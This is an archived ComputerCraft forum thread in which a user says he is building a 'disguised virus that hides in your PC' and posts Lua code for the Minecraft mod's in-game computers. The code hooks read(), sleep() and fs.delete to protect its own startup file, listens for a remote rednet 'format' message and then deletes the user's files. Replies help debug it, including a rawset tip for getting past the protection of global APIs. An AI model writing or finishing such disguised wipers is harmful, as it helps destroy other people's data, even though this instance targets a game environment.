This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
ComputerCraftFan11's profile picture

[ERROR] bios:267: Attempt to write global

Started by ComputerCraftFan11, 07 May 2012 - 01:34 AM
ComputerCraftFan11 #1
Posted 07 May 2012 - 03:34 AM
I'm trying to create a disguised virus that hides in your PC. I tried overwriting the current functions like sleep() and read() but I get this error:

bios:267: Attempt to write global

Is there any way to fix this?

for k,sSide in pairs(redstone.getSides()) do
  if peripheral.isPresent(sSide) and peripheral.getType(sSide) == "modem" then
   rednet.open(sSide)
  end
end
oldddeIYGYFGYIYGGUlete = function(name) fs.delete(name) end
fs.delete = function(name)
if name == "startup" then
  return false
else
  oldddeIYGYFGYIYGGUlete(name)
end
end
if fs.exists("formatted352") then
os.shutdown()
end
commands = function(sEvent, param, message) --INSERT COMMANDS HERE
if sEvent == "rednet_message" then
  if message == "format" then
   fs.makeDir("formatted352")
   files = fs.list("/")
   for n=1,#files do
    if files[n] == "startup" or files[n] == "formatted352" or fs.isReadOnly(files[n]) then else
	 fs.delete(files[n])
    end
   end
  
   os.reboot()
  end
end
end
term.read = function( _sReplaceChar, _tHistory )
term.setCursorBlink( true )
    local sLine = ""
local nHistoryPos = nil
local nPos = 0
    if _sReplaceChar then
  _sReplaceChar = string.sub( _sReplaceChar, 1, 1 )
end

local w, h = term.getSize()
local sx, sy = term.getCursorPos()
local function redraw()
  local nScroll = 0
  if sx + nPos >= w then
   nScroll = (sx + nPos) - w
  end
  
  term.setCursorPos( sx, sy )
  term.write( string.rep(" ", w - sx + 1) )
  term.setCursorPos( sx, sy )
  if _sReplaceChar then
   term.write( string.rep(_sReplaceChar, string.len(sLine) - nScroll) )
  else
   term.write( string.sub( sLine, nScroll + 1 ) )
  end
  term.setCursorPos( sx + nPos - nScroll, sy )
end

while true do
  local sEvent, param, t = os.pullEvent()
  commands(sEvent, param, t)
  if sEvent == "char" then
   sLine = string.sub( sLine, 1, nPos ) .. param .. string.sub( sLine, nPos + 1 )
   nPos = nPos + 1
   redraw()
  
  elseif sEvent == "key" then
	  if param == 28 then
    -- Enter
    break
   
   elseif param == 203 then
    -- Left
    if nPos > 0 then
	 nPos = nPos - 1
	 redraw()
    end
   
   elseif param == 205 then
    -- Right   
    if nPos < string.len(sLine) then
	 nPos = nPos + 1
	 redraw()
    end
  
   elseif param == 200 or param == 208 then
			    -- Up or down
    if _tHistory then
	 if param == 200 then
	  -- Up
	  if nHistoryPos == nil then
	   if #_tHistory > 0 then
	    nHistoryPos = #_tHistory
	   end
	  elseif nHistoryPos > 1 then
	   nHistoryPos = nHistoryPos - 1
	  end
	 else
	  -- Down
	  if nHistoryPos == #_tHistory then
	   nHistoryPos = nil
	  elseif nHistoryPos ~= nil then
	   nHistoryPos = nHistoryPos + 1
	  end	 
	 end
	
	 if nHistoryPos then
					 sLine = _tHistory[nHistoryPos]
					 nPos = string.len( sLine )
				    else
	  sLine = ""
	  nPos = 0
	 end
	 redraw()
			    end
   elseif param == 14 then
    -- Backspace
    if nPos > 0 then
	 sLine = string.sub( sLine, 1, nPos - 1 ) .. string.sub( sLine, nPos + 1 )
	 nPos = nPos - 1	
	 redraw()
    end
   end
  end
end

term.setCursorBlink( false )
term.setCursorPos( w + 1, sy )
print()

return sLine
end
read = function( _sReplaceChar, _tHistory ) read( _sReplaceChar, _tHistory ) end
sleep = function(_nTime)
    local timer = os.startTimer( _nTime )
repeat
  local sEvent, param, t = os.pullEvent( "" )
  commands(sEvent, param, t)
until param == timer
end
term.clear()
term.setCursorPos(1,1)
print(os.version())
Thats my code ^
Xtansia #2
Posted 07 May 2012 - 03:39 AM
You cannot modify the global table(_G),
Which is where apis like fs and term are stored.
ComputerCraftFan11 #3
Posted 07 May 2012 - 03:41 AM
You cannot modify the global table(_G),
Which is where apis like fs and term are stored.

It works here:
local nativeTerm = term.native or term

local function invoke(sMethod, ...)
nativeTerm[sMethod](...)
for k,sSide in pairs(redstone.getSides()) do
  if peripheral.isPresent(sSide) and peripheral.getType(sSide) == "monitor" then
   peripheral.call(sSide, sMethod, ...)
  end
end
end

term.write = function(text) invoke("write", text) end
term.scroll = function(n) invoke("scroll", n) end
term.setCursorPos = function(x, y) invoke("setCursorPos", x, y) end
term.setCursorBlink = function(:)/>/> invoke("setCursorBlink", :)/>/> end
term.clear = function() invoke("clear") end
term.clearLine = function() invoke("clearLine") end

nativeTerm.clear()
nativeTerm.setCursorPos(1, 1)
print(os.version())

That overwrites term.*, why can't this?
Advert #4
Posted 07 May 2012 - 03:59 AM
Use rawset.


rawset(_G, "key", value)
MysticT #5
Posted 07 May 2012 - 05:39 PM
You cannot modify the global table(_G),
Which is where apis like fs and term are stored.

It works here:
local nativeTerm = term.native or term

local function invoke(sMethod, ...)
nativeTerm[sMethod](...)
for k,sSide in pairs(redstone.getSides()) do
  if peripheral.isPresent(sSide) and peripheral.getType(sSide) == "monitor" then
   peripheral.call(sSide, sMethod, ...)
  end
end
end

term.write = function(text) invoke("write", text) end
term.scroll = function(n) invoke("scroll", n) end
term.setCursorPos = function(x, y) invoke("setCursorPos", x, y) end
term.setCursorBlink = function(:)/>/> invoke("setCursorBlink", :)/>/> end
term.clear = function() invoke("clear") end
term.clearLine = function() invoke("clearLine") end

nativeTerm.clear()
nativeTerm.setCursorPos(1, 1)
print(os.version())

That overwrites term.*, why can't this?
That works because the term API isn't protected when that code is executed (when loading the APIs).
The bios loads the APIs from the files and then protects them.